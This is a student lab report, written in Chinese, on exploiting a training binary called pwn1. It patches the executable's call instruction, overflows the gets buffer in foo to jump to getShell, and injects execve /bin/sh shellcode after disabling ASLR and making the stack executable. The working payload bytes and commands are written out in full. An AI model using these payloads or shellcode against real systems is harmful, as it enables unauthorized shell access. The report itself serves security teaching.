20212918 2021-2022-2 《网络攻防实践》实践九作业

1 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

三个实践内容如下：

手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。

2 实验要求

掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击

3 基础知识

3.1 反汇编指令

指令	作用
-d	表示汇编
xxx	为可执行文件
more	表示分页指令

3.2 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

NOP汇编指令的机器码是“90”
JNE汇编指令的机器码是“75”
JE 汇编指令的机器码是“74”
JMP汇编指令的机器码是“eb”
CMP汇编指令的机器码是“39”

3.3 掌握反汇编与十六进制编程器

objdump -d filename
objdump（object dump）项目导出
-d(disassemble) 反汇编
filename 反汇编的可执行文件

4 实践过程

1、手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数
（1）进入到pwn1文件所在文件夹，使用指令objdump -d pwn1反汇编提供的pwn1文件，可以看到pwn1所有的函数，如果想分页，可以使用指令objdump -d pwn1 | more。

（2）我们可以看到getShell函数、main函数和foo函数

在main函数调用中，我们可以看到80484b5这一行中，第四列是汇编指令，代表调用地址为8048491的foo函数，“e8 d7 ff ff ff”是机器指令，e8的含义是“跳转”，EIP值指的是下一条指令的地址：80484ba，这条机器指令的意思是转而执行下一条位于地址80484ba的指令。
（3）通过输入指令vi pwn1，进入编辑器。

（4）输入指令：%！xxd，将文编显示改为十六进制模式。

（5）找到000004b0行，将第四列中的d7改为c3，修改完毕数据后，输入指令":%!xxd -r"将文件恢复文本显示，输入：wq保存并退出。返回重新查看，发现已经改成功。

（6）运行pwn1，验证通过。

2 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
（1）首先使用命令apt install gdb安装gdb。
（1）反编译pwn1后，查看foo函数。

foo函数的功能是调用gets读进用户输入的字符串然后用puts函数将字符串输出，但是该函数并没有检查用户输入，所以存在BOF漏洞。观察反汇编出的汇编代码得知预留的局部变量的空间为0x38，而gets函数将读取到的字符串存放0x1c（28个字节）处，根据堆栈结构，当输入字符串长度达到36时，第33~36个字节将会覆盖到EIP中。
（2）验证EIP是否被覆盖，通过使用gdb对pwn1进行调试

当输入长度为40的字符串“1111111122222222333333334444444455555555”后出现段错误，查看各寄存器状态可以发现当前EIP寄存器的内容为0x35353535（“5”的ASCLL码的十六进制为35），因此可以说明当输入字符串过长时，第33~36个字节将会覆盖EIP的内容。
（3）构造输入字符串并作为pwn1的输入，输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

（4）使用命令(cat input; cat) | ./pwn1，运行结果如下所示
3 注入一个自己制作的shellcode并运行这段shellcode
（1）使用命令execstack -s pwn1，将堆栈设为可执行状态
；使用execstack -q pwn1，查看文件pwn1的堆栈是否是可执行状态；使用more/proc/sys/kernel/randomize_va_space，来查看地址随机化的状态；使用echo "0"> /proc/sys/kernel/randomize_va_space，来关闭地址随机化

（2）输入命令“perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode”进行注入，其中，前32个A是用来填满缓冲区buf，“\x04\x03\x02\x01”是预留的返回地址retaddr。

（3）然后在该终端运行“(cat input_shellcode;cat) | ./pwn1”注入这段攻击buf，打开另一个终端，运行“ps -ef | grep pwn”，可以看到pwn的进程182953。

（4）用gdb的“attach 182953”命令启动gdb调试这个进程。

（5）用“disassemble foo”命令反汇编，设置断点查看注入buf的内存地址。

（6）输入“b *0x080484ae”命令设置断点，输入“c”命令(continue)继续运行。

(7)在进程正在运行的终端敲回车，使其继续执行。

（8）再返回调试终端，输入“info r esp”命令查找地址为“x/16x 0xffffd59c”。

（9）入“x/16x 0xffffd59c”命令查看其存放内容，看到了0x01020304，就是返回地址的位置。根据我们构造的input_shellcode可知，shellcode就在其后，x/16x 0xffffd59c+0x00000004=0xffffd5a0，所以地址应为0xffffd5a0。

（10）将之前的\x4\x3\x2\x1改为这个地址0xffffd5a0即可，用命令perl -e 'print "A" x 32;print "\xa0\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode。再用“(cat input_shellcode;cat) | ./pwn1”命令次执行程序，攻击成功。